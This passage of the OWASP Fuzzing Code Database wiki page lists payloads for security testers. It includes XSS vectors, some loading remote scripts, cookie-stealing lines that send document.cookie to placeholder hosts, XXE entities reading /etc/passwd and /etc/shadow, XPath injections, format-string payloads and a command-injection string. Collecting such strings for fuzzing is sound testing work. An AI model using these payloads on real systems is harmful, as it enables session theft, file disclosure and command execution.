TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80080 2010-03-17T21:14:09Z

<p>Adam.muntner: /* Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br 